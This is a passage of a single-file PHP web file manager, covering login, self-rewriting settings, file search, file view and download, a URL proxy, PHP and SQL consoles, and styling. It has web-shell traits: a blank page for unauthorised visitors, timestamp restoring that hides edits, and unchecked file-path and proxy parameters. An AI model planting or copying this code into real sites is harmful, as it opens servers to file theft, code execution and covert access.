	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
